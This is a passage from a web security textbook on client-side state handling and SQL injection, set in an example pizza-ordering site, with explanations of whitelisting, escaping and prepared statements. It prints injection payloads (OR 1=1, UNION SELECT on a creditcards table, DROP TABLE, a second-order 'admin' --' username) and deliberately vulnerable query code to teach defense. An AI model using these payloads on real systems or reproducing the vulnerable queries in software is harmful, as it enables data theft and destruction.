though the parameters are sent to the client “in the clear,” the server will be able to reliably
detect if the client sent back different or altered parameters.

By using this signature-based approach, the server does not need to keep track of session-
ids. It can continue to be stateless at the expense of having to compute MACs when processing
HTTP requests and having to stream state information to and from the client. At the same time,
for state-intensive applications, the amount of extra bandwidth required to stream state may
be more costly than the server-side storage required for user data in a session-id–based
solution.
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SIGN IT ALL!

One caveat to using a signature-based approach is that the entire transaction state must be signed—not just
part of it (such as the price). Otherwise, an attacker can conduct (part of) a legitimate transaction to coerce
the server into generating a signature for her, and she can then conduct an illegitimate transaction by pasting
in parameters of her choice that are not included in the signature. For instance, if only the price is signed, the
attacker can go through the order process having selected a cheap item to obtain a signature on the price,
and then submit that signature and price in an HTTP request to purchase a more expensive item.

7.2. Using HTTP POST Instead of GET
In previous sections, the server embedded session-ids and state in hidden form fields. In order
for that state to be relayed back to the server on each subsequent HTTP request, the form field
parameters and values need to be included in URLs. In the previous example, we used the GET
method with hidden form fields, but we could have just as easily used links as follows:

<A HREF=/submit_order? ➥

session-id=3927a837e947df203784d309c8372b8e> ➥

Pay Now</A>

or

<A HREF=/submit_order? ➥

session-id=3927a837e947df203784d309c8372b8e> ➥

Cancel Order</A>

Using hidden form fields can be an awkward way to carry state from one step in a web
transaction to the next. Consider the case in which you use a database at the server to main-
tain the state of the user’s transaction. After the user enters the number of pizzas he would like
to order, along with his credit card number and expiration date, he receives an order confir-
mation page. The URL in the address bar of the browser for the confirmation page might read
as follows:

https://www.deliver-me-pizza.com/confirm_order? ➥

session-id=3927a837e947df203784d309c8372b8e

If a user, Alice, copies the preceding address and pastes it into an e-mail to her “friend”
Meg asking, “Hey Meg, should we order this pizza?” then Meg would be able to click “yes” and
continue the transaction without Alice’s consent—nevertheless, the pizza would be charged to
Alice’s credit card. Depending upon how the web site was implemented, it could also be possi-
ble for Meg to change the address to which the pizza is sent to be her own address. Meg could
then respond to Alice, saying “No, I don’t think we should order the pizza. Maybe next time.”
Meg would get to eat pizza that was ordered using Alice’s credit card. Of course, Alice’s credit
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card would be charged, and when she receives her credit card bill at the end of the month, she
will call her credit card company and complain that she did not order the pizza. Of course, her
“friend” Meg did!

Another reason not to use GET has to do with HTTP referrer fields. When a user clicks on a
hyperlink in a web page on web site A, and is referred to web site B, the browser’s request to
web site B usually includes an HTTP header that lets web site B know that the user came from
web site A. For instance, after processing the purchase of a pizza, the submit_order program
could output a link to a grocery store web site that has information about frozen versions of
their pizzas. The HTML outputted by the submit_order script might look as follows:

<HTML>
<HEAD>
<TITLE>Pizza Order Complete</TITLE>
</HEAD>
<BODY>
Thank you for your pizza order.
It will arrive piping hot
within 30 to 45 minutes!
<A HREF=confirm_order? 
session-id=3927a837e947df203784d309c8372b8e>
Click here to order one more pizza!
</A>
You may also be interested in trying
our frozen pizzas at
<A HREF=http://www.grocery-store-site.com/>
GroceryStoreSite
</A>
</BODY>
</HTML>

This web page includes two hyperlinks. The first is the one that allows the user to purchase
another pizza. Since the user has already entered her credit card number, the pizza web site
could accept another order without requiring her to enter her card number again. Granted,
some might consider that a bad design, but nevertheless it might lead to some extra orders.
To facilitate the order, the session-id is included in the hyperlink. The second hyperlink is to
www.grocery-store-site.com.

Note that the URL for the preceding web page is

https://www.deliver-me-pizza.com/submit_order? ➥

session-id=3927a837e947df203784d309c8372b8e

If the user, instead of ordering another pizza, is interested in the frozen pizzas from the
grocery store, he may decide to click the second link, to www.grocery-store-site.com. The
HTTP request to www.grocery-store-site.com would be as follows:

GET / HTTP/1.0 Referer: https://www.deliver-me-pizza.com/submit_order? ➥

session-id=3927a837e947df203784d309c8372b8e
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When www.grocery-store-site.com’s web server receives the preceding request, it will
serve its index.html page, and will also log the referrer field. Note that the user’s session-id
from www.deliver-me-pizza.com gets stored in www.grocery-store-site.com’s logs! If the
administrator of www.grocery-store-site.com’s web server is malicious, she could paste the
URL from the referrer field into her browser and order additional pizzas! (To make it interest-
ing, as before, the administrator would change the address to be her own but still use the
user’s credit card number.)

To prevent users from exchanging URLs with each other in dangerous ways and having
sensitive information show up in web logs of other web sites, you could use POST as the HTTP
method by which to submit the form to remove the session-id from the URL. The revised
order confirmation form would use the following form action tag, in which the form uses the
HTTP POST method instead of GET:

<FORM ACTION="confirm_order" METHOD="POST">

When the form is submitted, the HTTP request might look as follows:

POST /confirm_order HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

session-id%3D3927a837e947df203784d309c8372b8e

The URL in the address bar would simply read https://www.deliver-me-pizza.com/
confirm_order, with no session-id included in it.

If Alice were to paste the preceding URL into an e-mail sent to Meg, then Meg would
not be able to see the same confirmation form that Alice does because the session-id is not
included in the URL. Alice might now instead have to send a screenshot of the pizza order
screen to Meg to share the details of the order. While that might be more inconvenient for
Alice, using the POST method prevents her from simply sending a URL to Meg that would allow
Meg to place the order without Alice’s consent.

While POST can sometimes be used to prevent the type of information leakage shown
previously, referrers can also leak in other ways that do not require any user interaction. For
instance, if instead of a link to www.grocery-store-site.com on the order completion page, an
image tag such as <IMG SRC=http://www.grocery-store-site.com/banner.gif> were included,
the referrer URL with the session-id would appear in www.grocery-store-site.com’s logs due
to the GET request for banner.gif.

7.3. Cookies
An alternative to using HTTP POST to maintain state across HTTP requests would be to use
cookies. A cookie is a piece of state that is maintained by a client. When a web server gives a
cookie to a client browser, that client browser is expected to give the cookie back to the server
in subsequent HTTP requests. However, since web servers cannot, in general, trust web clients,
web servers do not have any guarantees that a web client will return the cookie that it was
given. We cover cookies here because they are an alternative to transmitting session-ids and
other authentication credentials.
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A web server gives a cookie to a client by including a Set-Cookie field in an HTTP response.
To illustrate, consider the preceding solution, in which we used session-ids to serve as pointers
to state in the web server’s database. Instead of sending the session-id from the server to the
client as a hidden form field, we could have sent a cookie as follows:

HTTP/1.0 200 OK
Set-Cookie: session-id=3927a837e947df203784d309c8372b8e; secure

<HTML>
<HEAD>
<TITLE>Pay for Pizza</TITLE>
</HEAD>
<BODY>
<FORM ACTION="submit_order" METHOD="GET">
The total cost is 5.50.
Are you sure you would like to order?
<INPUT TYPE="submit" NAME ="pay" VALUE="yes">
<INPUT TYPE="submit" NAME ="pay" VALUE="no">
</BODY>
</HTML>

We show the HTTP response header in addition to the confirmation form issued by the
server to illustrate the use of the Set-Cookie HTTP response header field, whereas we typically
did not need to show the HTTP response header in previous examples. Note that in addition
to the session-id specified in the cookie, a secure attribute is used to specify that the client
should only send the cookie back to the server over an SSL connection.

In the preceding example, when the user clicks the submit button, the browser sends the
following HTTP request to the server:

GET /submit_order?pay=yes HTTP/1.0
Cookie: session-id=3927a837e947df203784d309c8372b8e

The algorithm that the server uses to process the order is still more or less the same,
except that the value of the session-id variable is retrieved from the cookie instead of the
URL parameters.

In general, using a cookie is different from using hidden form fields because a well-
behaved browser will typically send the cookie back to the web server on each HTTP request,
without requiring a form submission or “tacking on” additional parameters to the URL.

You must be careful when using cookies since they are stored by the browser. If Alice uses
your web site and does not explicitly log out (or you do not expire the session-id after some
time period), there may be an additional security risk. If Mallory can use Alice’s browser to
visit the same site, the browser may send back the cookie, and Mallory may be able to imper-
sonate Alice. Hence, it is extremely important to make sure that session-ids have a limited
lifetime by associating an expiration time with them on the server, and providing users with
the ability to explicitly log out.
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7.4. JavaScript
JavaScript is a scripting language that can be used to write scripts that interact with web
pages. JavaScript is a language that is separate and distinct from Java, but derives its name
from its Java-like syntax. JavaScript code can be included within HTML web pages, and the
code is executed by a JavaScript interpreter once downloaded to the web browser. We cover
JavaScript in this chapter for two reasons: (1) sometimes programmers rely on JavaScript for
tasks that they should not, and (2) sometimes attackers can use JavaScript to help construct
attacks. We illustrate how using JavaScript carelessly can give rise to a security vulnerability in
this section, and provide a description of how attackers can use JavaScript to construct more
attacks in Chapter 10.

In the following example, we show some JavaScript that can be used to help compute the
price of an order:

<HTML>
<HEAD>
<TITLE>Order Pizza</TITLE>
</HEAD>
<BODY>
<FORM ACTION="submit_order" METHOD="GET" NAME="f">
How many pizzas would you like to order?
<INPUT TYPE="text" NAME="qty" VALUE="1" onKeyUp="computePrice();">
<INPUT TYPE="hidden" NAME="price" VALUE="5.50"><BR>
<INPUT TYPE="submit" NAME ="Order" VALUE="Pay">
<INPUT TYPE="submit" NAME ="Cancel" VALUE="Cancel">
<SCRIPT>
function computePrice() {

f.price.value = 5.50 * f.qty.value;
f.Order.value = "Pay $" + f.price.value

}
</SCRIPT>
</BODY>
</HTML>

The preceding pizza order form looks similar to ones used earlier in the chapter, with just
a few differences that help the browser compute the price of the order. First, the form has
been given a name attribute that specifies that its name is f. The form is given a name so that
JavaScript code elsewhere in the HTML can refer to the components of the form, such as the
text field qty, which contains the user-specified number of pizzas to order; and the submit
button named Order, which the user can click to execute the order. Second, an onKeyUp
“handler” has been added to the qty text field. The onKeyUp handler tells the browser to call
the computePrice() JavaScript function whenever the user has made a change to the qty text
field. Third, the definition of the computePrice() JavaScript function has been included in
the HTML using the <SCRIPT> tag. The computePrice() function first updates the value of the
hidden price field based on the quantity the user has selected, and then updates the order
submit button to read “Pay $X,” where X is the computed price. The page rendered by the
browser for the preceding HTML and JavaScript code is shown in Figure 7-3.
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Figure 7-3. JavaScript HTML order page

In the preceding example, the client browser computes the price to be paid based on the
number of pizzas the user would like to order. However, as you learned before, you cannot
trust the client! A malicious user could simply save the HTML page to disk (as we illustrated
earlier in this chapter), delete the JavaScript from the HTML page, substitute 10000 for the
quantity and 0 for the price, and submit the form. Alternatively, a malicious user could also
just submit an HTTP request such as

GET /submit_order?qty=1000&price=0&Order=Pay

and completely bypass the price computation done by the JavaScript! The solution to elimi-
nating the problem of not being able to trust the client, in this case, is to do the price com-
putation on the server, and charge the user the price that is computed by the server. While
JavaScript can be used to make the web page more interactive for the client, any data
validation or computations done by the JavaScript cannot be trusted by the server. The
computations must be redone on the server to ensure security.
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SQL Injection

In this chapter, you will see that exploiting buffer overflow vulnerabilities in C programs is
not the only way for an attacker to take control of a running system. Rather, an attacker might
exploit a different class of vulnerabilities that can arise when untrusted data is evaluated in
the context of a command or query language. Here, you’ll study SQL injection vulnerabilities
as an example of this class of security issues. SQL injection vulnerabilities can affect applica-
tions that use untrusted input in an SQL query made to a database back end without taking
precautions to sanitize the data.

SQL injection is a type of a more general class of vulnerabilities, referred to as command
injection vulnerabilities. In general, command injection vulnerabilities can arise when untrusted
(e.g., end-user supplied) data is inserted into a query or command, and specially crafted mali-
cious input can cause the command interpreter or query processor to misinterpret part of the
supplied data as a command, or otherwise alter the intended semantics of the command or
query. In addition to SQL queries, this issue can occur if an application executes shell com-
mands, makes queries to an LDAP server, uses XPath expressions to extract data from an XML
document, interprets untrusted data as part of an XSLT style sheet, and so forth.

COMMAND INJECTION ATTACKS CAN PUT YOU OUT OF BUSINESS

SQL injection and other types of command injection attacks can ruin entire businesses. For example, an SQL
injection attack was revealed in June 2005 in which a credit card payment processing company called
CardSystems had 263,000 credit card numbers stolen from its database. Even worse, since the credit card
numbers were stored in its database in an unencrypted form, over 40 million credit card numbers were
potentially exposed to the attack! The attack was arguably the worst cyber-attack of all time at the time of
writing this book, and was investigated by Congress and the FTC. CardSystems lost large amounts of busi-
ness and its assets were acquired by another company.

In addition, awareness of SQL injection vulnerabilities seems to be on the rise. In the first half of
2004, there were 57 SQL injection vulnerabilities reported to the BugTraq security vulnerability mailing list
(www.securityfocus.com/archive/1), and that number more than tripled to 194 during the first half
of 2005 (Ng 2006). In this chapter, we show how SQL injection attacks work and discuss how they can be
prevented.
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8.1. Attack Scenario
In this section, we outline an example attack scenario for SQL injection. SQL (Structured
Query Language) is the language that most relational databases provide as the means for
applications to communicate with the database.1

Programs can use an SQL statement to specify what data they want the database to
retrieve or update. Given an SQL statement, the database determines how to efficiently obtain
or modify the relevant data, and returns the results to the program. An SQL injection attack is
possible if an application uses data that can be controlled by an attacker as part of an SQL
query. The attacker may be able to submit specially crafted input, such that the query that is
sent to the database is interpreted by the database differently from what the programmer
intended.

Suppose the pizza-ordering application from the previous chapter includes a feature that
allows users to review the orders they have made in a given month. The user is presented with
the form in Figure 8-1, which allows her to enter the month for which she would like to see
past orders.

Figure 8-1. The pizza order review form

When the form is submitted, it results in an HTTP request to the web application that
includes the month as a query parameter—for example, “10” for October.

https://www.deliver-me-pizza.com/show_orders?month=10

When receiving such a request, the application constructs an SQL query as follows:2

sql_query = "SELECT pizza, toppings, quantity, order_day " +
"FROM orders " +
"WHERE userid=" + session.getCurrentUserId() + " " +
"AND order_month=" + request.getParameter("month");

This query instructs the database to retrieve from the orders table the columns contain-
ing the name of the ordered pizza, its toppings, the order quantity, and the day of the month
the order was placed. Furthermore, only those rows are to be returned for which the user who
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placed the order matches the currently logged-in user, and that correspond to an order made
in the requested month.

For example, the preceding HTTP request would result in the following string being
assigned to the variable sql_query (assuming the current user’s user-id is 4123):

SELECT pizza, toppings, quantity, order_day
FROM orders
WHERE userid=4123
AND order_month=10

The application then executes the query and retrieves the result set. It then inserts the
data returned into an HTML table to be returned to the user’s browser as part of the resulting
web page shown in Figure 8-2.

<TABLE>
<TR><TD>Pizza</TD>
<TD>Toppings</TD>
<TD>Quantity</TD>
<TD>Order Day</TD>
</TR>
<TR><TD>Diavola</TD>
<TD>Tomato, Mozzarella, Pepperoni, ...</TD>
<TD>2</TD>
<TD>12</TD>
</TR>
<TR><TD>Napoli</TD>
<TD>Tomato, Mozzarella, Anchovies, ...</TD>
<TD>1</TD>
<TD>17</TD>
</TR>
</TABLE>

Figure 8-2. Pizza order history

How can this feature in the application be attacked? We note that the application does not
perform any input validation on the query parameter month. In particular, we don’t verify or
enforce that the parameter is a string representing an integer; rather, we accept arbitrary
strings and insert them directly into the SQL query.
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What would happen if an attacker made a modified HTTP request to the following URL?

https://www.deliver-me-pizza.com/show_orders?month=0%20OR%201%3D1

CGI parameters are transferred from the browser in so-called URL-encoded form, where
meta-characters (in particular, blanks, percent signs, ampersands, and equal signs) are
replaced with the percent sign followed by the character’s ASCII code in hexadecimal notation
(Berners-Lee, Fielding, and Masinter 2005). The web application reverses this encoding after
extracting a CGI parameter from the request. Thus, request.getParameter("month") returns
the string

0 OR 1=1

The SQL query that the application constructs and sends to the database now becomes

SELECT pizza, toppings, quantity, order_day
FROM orders
WHERE userid=4123
AND order_month=0 OR 1=1

Since the operator precedence of the AND operator is higher than that of OR, the WHERE con-
dition is equivalent to

WHERE (userid=4123 AND order_month=0) OR 1=1

Since 1=1 always evaluates to true, this condition is logically equivalent to true. Hence,
the SQL query in fact returns the entire contents of the orders table, which the application
would dutifully transcribe into a (quite large) HTML table, and return to the user.

What happened? The (malicious) user supplied a parameter that, once inserted into the
SQL query string, actually altered the meaning of the query! In this case, he was able to modify
the logical structure of the WHERE clause, causing more rows to be retrieved from the database
than he would legitimately be authorized to see; in particular, he received rows where the
userid column is not equal to his user-id.

This attack results in a serious violation of user privacy; the attacker is able to see details
of other users’ orders. While this is certainly an issue for a pizza delivery business, imagine the
consequences if an online pharmacy, banking, or brokerage business were affected.

However, the attacker might be able to do even more damage. For example, he could
make a request such that the request parameter month evaluates to

0 AND 1=0
UNION SELECT cardholder, number, exp_month, exp_year
FROM creditcards

Then, the SQL query that the application constructs and sends to the database becomes

SELECT pizza, toppings, quantity, order_day
FROM orders
WHERE userid=4123
AND order_month=0 AND 1=0
UNION SELECT cardholder, number, exp_month, exp_year
FROM creditcards
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The SQL UNION syntax instructs the database to combine the result sets of two SELECT
statements. In this case, the attacker has arranged for the first SELECT statement to return an
empty result set by injecting a 1=0 (i.e., false) into the WHERE clause of the first SELECT state-
ment. He then uses UNION to combine this empty result set with the result set of the second
injected SELECT statement, whose result columns were chosen to match the data types of the
first statement. Thus, the preceding statement has the effect of returning the result of the
query

SELECT cardholder, number, exp_month, exp_year FROM creditcards

to the application in a result set with the columns pizza, toppings, quantity, and order_day.
The application, in turn, takes the rows of the result set and transcribes them into the order
history HTML table.

As a result, the attacker receives an HTML document from the web server that contains
the entire contents of the creditcards table in an HTML table (Figure 8-3 shows what the page
might look like in a browser):

<TABLE>
<TR><TD>Pizza</TD>
<TD>Toppings</TD>
<TD>Quantity</TD>
<TD>Order Day</TD>
</TR>
<TR><TD>Neil Daswani</TD>
<TD>1234 1234 9999 1111</TD>
<TD>11</TD>
<TD>2007</TD>
</TR>
<TR><TD>Christoph Kern</TD>
<TD>1234 4321 3333 2222</TD>
<TD>4</TD>
<TD>2008</TD>
</TR>
<TR><TD>Anita Kesavan</TD>
<TD>2354 7777 1111 1234</TD>
<TD>3</TD>
<TD>2007</TD>
</TR>
...
</TABLE>
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Figure 8-3. Pizza order history after SQL injection

Using the UNION syntax to combine an injected SELECT clause with the original query that
the programmer had intended to be executed, the attacker was able to retrieve data from an
entirely different database table than the one the original query referred to. The attacker can
potentially inflict even greater damage by using the ; statement separator to instruct the data-
base to execute a second separate statement, which in this case is not restricted to also be a
SELECT statement.3

For example, the attacker might arrange for the request parameter month to evaluate to

0;
DROP TABLE creditcards;

Then, the queries executed by the database will be

SELECT pizza, toppings, quantity, order_day
FROM orders
WHERE userid=4123
AND order_month=0;
DROP TABLE creditcards;

That is, after retrieving data from the orders table, the database is instructed to remove
the table creditcards from the schema. As such, this constitutes a DoS attack; after this state-
ment is executed, future orders might fail, or the application might initiate delivery of a pizza
without being able to charge users’ credit cards after the order is fulfilled.
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HOW A DATABASE GETS “OWN3D”

In addition to some of the statements already described in this chapter, other troublesome statements an
attacker might inject include the following:

• Statements that insert or modify data in the database: For example, injecting the statement

INSERT INTO admin_users VALUES ('hacker', ...)

which inserts a row into the application’s admin_users table, would have the effect of creating an
administrative account for the application, for which the attacker has chosen (and hence knows) the
username and password. This would give the attacker access to the application’s administrative func-
tions, which might include the ability to review users’ personal information, initiate refunds of credit
card payments, and so on.

• Various database-administrative commands: Depending on the command set supported by the particu-
lar database, this may allow the attacker to shut down the database, initiate network connections from
the database host, and even instruct the operating system on which the database server is running to
execute commands or programs of the attacker’s choosing.4 The latter would likely result in a full com-
promise of the database server.

Additional attack patterns are discussed in “Advanced SQL Injection in SQL Server Applications,” by
Chris Anley, and “Manipulating Microsoft SQL Server Using SQL Injection,” by Cesar Cerrudo.

Before we can introduce techniques to prevent SQL injection attacks, we consider a varia-
tion of the vulnerability as it applies to queries with string-valued parameters. In the example
introduced at the beginning of this section, the parameter vulnerable to injection was used in
the query in a context in which a numeric quantity was expected:

sql_query = ... +
"AND order_month=" + request.getParameter("month");

In contrast, parameters that are used in an SQL statement in a context in which a string
is expected need to be enclosed in quote characters to allow the SQL parser to correctly parse
the data as a string literal. For example, suppose the application also provides a feature to
users that allows them to review all orders of pizzas with a particular topping. The corre-
sponding search form would have a field topping, and the resulting SQL query would be
constructed as follows:

sql_query =
"SELECT pizza, toppings, quantity, order_day " +
"FROM orders " +
"WHERE userid=" + session.getCurrentUserId() + " " +
"AND toppings LIKE '%" + request.getParameter("topping") + "%' ";
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If a user makes a query for past orders of pizzas with onions, submitting the form would
result in an HTTP request for the URL:

https://www.deliver-me-pizza.com/show_orders_by_topping?topping=Onions

which in turn results in the following SQL query to be constructed and executed:

SELECT pizza, toppings, quantity, order_day
FROM orders
WHERE userid=4123
AND toppings LIKE '%Onions%'

The LIKE operator specifies a textual match, with the % character used as a wildcard char-
acter (i.e., the condition matches all rows in which the toppings column contains the string
Onions as a substring).

Since the parameter topping is used in a context inside a quoted string, the attacker needs
to inject additional single-quote characters to ensure that the resulting SQL statement after
injection is syntactically correct. However, doing so is not difficult. For example, he could
simply set the parameter topping to the following:

brzfg%'; DROP table creditcards; --

The resulting SQL statement after injection then becomes

SELECT pizza, toppings, quantity, order_day
FROM orders
WHERE userid=4123
AND toppings LIKE '%brzfg%'; DROP table creditcards; --%'

Here, the attacker has arranged for the SELECT clause to return an empty set by querying
for a string that does not occur in the database (this isn’t actually important in this particular
attack, but might be necessary in a SELECT UNION attack). Furthermore, he has injected the
SQL comment delimiter -- to prevent the % and ' characters at the end of the query from
resulting in a syntax error. The other attacks introduced in this section (such as using SELECT
UNION to retrieve data from other tables) can be adapted accordingly.

8.2. Solutions
There are a variety of techniques that can be used together to prevent SQL injection. We rec-
ommend using them in combination as part of a defense-in-depth approach to preventing
SQL injection attacks.

8.2.1. Why Blacklisting Does Not Work
At first thought, and especially based on the preceding example, it may seem that one might
be able to prevent SQL injection attacks by eliminating quote characters found in user input.
However, this approach is not sufficient, and you should not solely use this approach in your
code—we illustrate why shortly.
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Let’s say the SQL query could be rewritten as follows:

sql_query =
"SELECT pizza, toppings, quantity, order_day " +
"FROM orders " +
"WHERE userid=" + session.getCurrentUserId() + " " +
"AND toppings LIKE '%" +

kill_quotes(request.getParameter("topping")) + "%'";

The kill_quotes() method would eliminate each occurrence of a single-quote character.
If the kill_quotes() method were implemented in Java, it might look as follows:

String kill_quotes(String str) {
StringBuffer result = new StringBuffer(str.length());
for (int i = 0; i < str.length(); i++) {

if (str.charAt(i) != '\'')
result.append(str.charAt(i));

}
return result.toString();

}

The kill_quotes() method iterates through each character of its input string (str), and
copies over each character that is not a quote to the output string (result). This is a blacklisting-
based approach in which the quote character is blacklisted, or eliminated, from the input
string. It does prevent the injection attack via the topping parameter, which relies on the
attacker being able to inject a quote character to “break out” of the context of the string literal
in the query. However, while the method does eliminate quote characters, it is not a comprehen-
sive approach to preventing SQL injection attacks.

There are many limitations that prevent such a simple solution from being effective. For
instance, it does not prevent SQL injection in which semicolons can be used to provide addi-
tional commands to run in an attack string. One might suggest that if quotes and semicolons
are blacklisted, then the attack might be foiled. You might also think about eliminating white-
space characters as well—but might there exist some additional characters that are dangerous?
If you forget to blacklist just one type of dangerous character, it could give rise to a successful
attack. 

In addition, an SQL injection that uses parameters with numeric values, such as the month
parameter in the query at the beginning of the previous section, would not be prevented by
blacklisting characters. Since numeric constants in an SQL query are not delimited by quotes
(or other characters), the attacker doesn’t need to inject any quote character to execute an
attack. Hence, applying kill_quotes() to the input will not prevent the attack. 

Besides that, blacklisting characters may also conflict with the functional requirements
for your application. For example, if your application stores your users’ names in the database
at the time they sign up for an account, you might prevent a user named, say, O’Brien, from
correctly entering his name.

We now discuss some more robust solutions to preventing SQL injection than just simply
attempting to blacklist certain dangerous characters that might give rise to attacks.
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8.2.2. Whitelisting-Based Input Validation
To err on the side of security, you should explicitly test that a given input is within a well-
defined set of values that are known to be safe. This approach is commonly referred to as
whitelisting. In simple cases, it may in fact make sense to check that a given input is equal
to one of an explicitly specified list of known-good values.

However, creating such an explicit whitelist is often not practical since it would grow
rather large. Instead, we represent the whitelist implicitly in terms of conditions that a value
must satisfy. For instance, you could check that the parameter month is a string that represents
a non-negative integer (i.e., a string consisting of a sequence of digits).

One convenient way of specifying a set of strings is using regular expressions. A regular
expression is essentially a pattern that strings can be matched against, and hence specifies the
set of strings that match the expression. Regular expressions are constructed by combining
elementary expressions using various operators.

For example, the regular expression ^[0-9]*$ matches any string consisting of a sequence
of zero or more digits. This regular expression is constructed as follows: The expression [0-9]
matches any character in the set of characters from 0 to 9. Applying the repetition operator *
to this expression specifies that it must be matched zero or more times. Finally, the ^ and $
expressions match the beginning and the end of the string, respectively. For more details on
regular expressions, refer to the manual page for the UNIX grep utility.

8.2.3. Escaping
In general, you should not attempt to transform dangerous input characters to attempt to turn
a potentially dangerous input string into a sanitized one. Nevertheless, some databases pro-
vide support for doing so. If you do use such functions, you are encouraged to do so very
carefully!

For instance, consider an example in which you transform a username with a quote in it
to valid input by escaping it and storing it in the database. A new user who registers with your
application may, for instance, choose o'connor as her username and terminator as her pass-
word. The code that the web application server executes to add this user to the database might
be the following:5

sql = "INSERT INTO USERS(uname,passwd) " +
"VALUES ('" + escape(uname)+ "','" +
escape(password) +"')";

The escape() function in the preceding code substitutes dangerous character sequences
with benign ones. In particular, the escape() function replaces a single quote ('), which
signifies a change of context between data and control, to two single quotes (''), which the
database interprets as a single quote of data. The resulting insert statement might look as
follows:

INSERT INTO USERS(uname,passwd)
VALUES ('o''connor','terminator');
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5. In a real-world application, passwords would not be stored in the database in clear text. We discuss
password storage in more detail in Chapter 9.
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In the preceding SQL, the double quote is the escaped version of the single quote in
o'connor, and is interpreted by the database as a single quote in the uname part of the data
field.

Note that different database implementations may have different names and/or analogs
for the escape() function, and different ways of signifying an escaped quote. We choose the
function name escape() in our discussion for generality.

Finally, it is important to remember that escaping only helps to prevent SQL injection
into string-valued parameters that are enclosed in quotes in the query. However, just as the
kill_quotes() function does not prevent SQL injection into numeric parameters, neither does
escaping—the attacker does not need to inject any quotes (escaped or non-escaped) into the
query at all.

8.2.4. Second Order SQL Injection
Using escaping functions correctly can be very tricky. In this subsection, we provide an exam-
ple in which a second order SQL injection attack can occur if escaping functions are not used
carefully and consistently. We now describe our example.

At some point, user o'connor might want to change her password to be stronger, and may
enter a password such as SkYn3t. The web server code that creates the SQL statement to update
the password might be constructed as follows:

new_passwd = request.getParameter("new_passwd");
uname = session.getUsername();
sql = "UPDATE USERS SET passwd='"+ escape(new_passwd) +

"' WHERE uname='" + uname + "'";

Note that the new password is escaped, but the username is not (since the username
was escaped when it was first chosen and stored in the database). The SQL statement that is
executed is

UPDATE USERS SET passwd='SkYn3t' WHERE uname='o'connor'

This statement will most likely generate an error because the quote between the o and the
c in o'connor is interpreted as the end of the username string, and the remaining characters
do not satisfy grammar for a properly formed SQL statement. But it could have been worse.
If an attacker chooses a username such as admin' --, and changes her password (e.g., to
cracked), the SQL statement that will be executed is

UPDATE USERS SET passwd='cracked' WHERE uname='admin' --'

The preceding statement executes successfully and changes the password for the data-
base administrator’s account to one of the attacker’s choice! This type of attack, in which data
stored in the database is later used to conduct SQL injection, is sometimes referred to as
second order SQL injection (Anley 2002).

Why does the attacker need to choose the username to be admin' -- for the attack to
work? Note that if the username the attacker attempts to choose is simply admin, there would
be a name collision since that username is already taken by the real administrator. Also, if
the attacker chooses admin', the SQL statement will result in an error because of the trailing
quote. The extra double-hyphen (--) characters are required for the attack to be successful
such that the trailing quote is interpreted as a comment.
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The root cause of the vulnerability is that escaping was only applied to the new_password
variable and not the uname variable. Quite likely, the programmer assumed that the former is
an external input and hence must be escaped or validated, while the latter is safe because it
was retrieved from the session (and ultimately from the database), which he might have con-
sidered a trusted source of data.

As this example demonstrates, such “corner-cutting” can be extremely dangerous. As
such, we recommend treating all parameters that are inserted into a query as potentially
dangerous, and accordingly escaping or sanitizing them, no matter what their origin is.

For example, the query that updates a user’s password should be written as follows:

new_passwd = request.getParameter("new_passwd");
uname = session.getUsername();
sql = "UPDATE USERS SET passwd='"+ escape(new_passwd) +

"' WHERE uname='" + escape(uname) + "'";

8.2.5. Prepared Statements and Bind Variables
Some of the SQL injection vulnerabilities we have illustrated thus far occur because it is pos-
sible to use special meta-characters, such as quotes, to cause the database to interpret data
received from the user as part of an SQL program’s control flow. To help maintain the distinc-
tion between data and control, some databases provide prepared statements using bind
variables. Bind variables are placeholders that are guaranteed to be interpreted as data (as
opposed to control) by the database. The parsing and execution of the statement takes place
in two steps: First the statement is prepared. In this step, the statement, written using ? place-
holders for the actual parameters, is parsed and compiled. In the second step (execution), the
actual parameters are passed to the prepared statement for execution.

The query that retrieves past orders of a given month in the pizza delivery application
could be rewritten using prepared statements, as follows:

PreparedStatement ps =
db.prepareStatement("SELECT pizza, toppings, quantity, order_day " +

"FROM orders WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParamenter("month")));
ResultSet res = ps.executeQuery();

In the preceding code, the question marks in the SELECT statement serve as placeholders
for data that will be substituted in place of them. The actual data is supplied using the setInt()
method, which takes as arguments the index of the corresponding placeholder and the actual
value of the corresponding parameter. The last line then executes the statement with the sup-
plied actual parameters.

With respect to preventing SQL injection, the key characteristic of prepared statements is
that at the time the query is parsed and compiled, the actual parameters are not involved at
all. That is, it is impossible for the value of an actual parameter passed to the statement at exe-
cute time to alter the structure of the query and somehow be interpreted as control rather
than data.
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Furthermore, in the Java API for prepared statements, bind variables are typed. In this
example, the actual value for the second bind variable is assigned using the setInt() method.
Corresponding functions exist for other data types, such as setString() for strings. The
setInt() method expects a Java int rather than a string (i.e., Integer.parseInt() needs to
be used to convert the string-valued request parameter to an integer). If an attacker attempts
to inject a string that does not represent an integer (as in the attack examples at the beginning
of this chapter), parseInt() will throw a NumberFormatException and the query will be pre-
vented from executing.

Different languages may have different APIs for prepared statements. For instance, the
corresponding code in PHP might look as follows:

$ps = $db->prepare('SELECT pizza, toppings, quantity, order_day '.
'FROM orders WHERE userid=? AND order_month=?');

$ps->execute(array($current_user_id, $month));

The main difference from the Java API is that in this usage of the PHP API, the actual
parameters are not explicitly typed (i.e., $month might actually be a string). However, if the
actual parameter does not represent an integer, the type mismatch would be detected at the
time the statement is executed.6

While bind variables can help maintain the distinction between code and data, vigilance
is still required. If user input is used to construct any part of the query, it may be possible for
an attack to be successful. For instance, let’s say that your manager asks one of your colleagues
to make a change to your code one day prior to launch to allow users to query past pizza
orders by both month and year. Your colleague might not understand how to use bind vari-
ables and might hack your code as follows just to get the job done:

$ps = $db->prepare(
'SELECT pizza, toppings, quantity, order_day '.
'FROM orders '.
'WHERE userid=? AND order_month=? AND order_year=$year');

$ps->execute(array($current_user_id, $month));

Now, even though bind variables are used for the $month parameter, and that parameter
is therefore safe from SQL injection, the $year parameter is directly inserted into the query
before it is parsed. As such, the query is now vulnerable to SQL injection via the $year
parameter.

This example again illustrates that mechanisms to prevent SQL injection, such as bind
variables or escaping combined with data validation, must be applied consistently. A good
way to ensure this is to introduce into your application’s architecture a separate module dedi-
cated to facilitating database access. For example, such a module could at application startup
initialize a table of prepared statements from static strings. A coding style guideline would dic-
tate that rather than invoking prepareStatement itself, application code must call this module
to retrieve a prepared statement object for a desired query. Compliance with the coding style
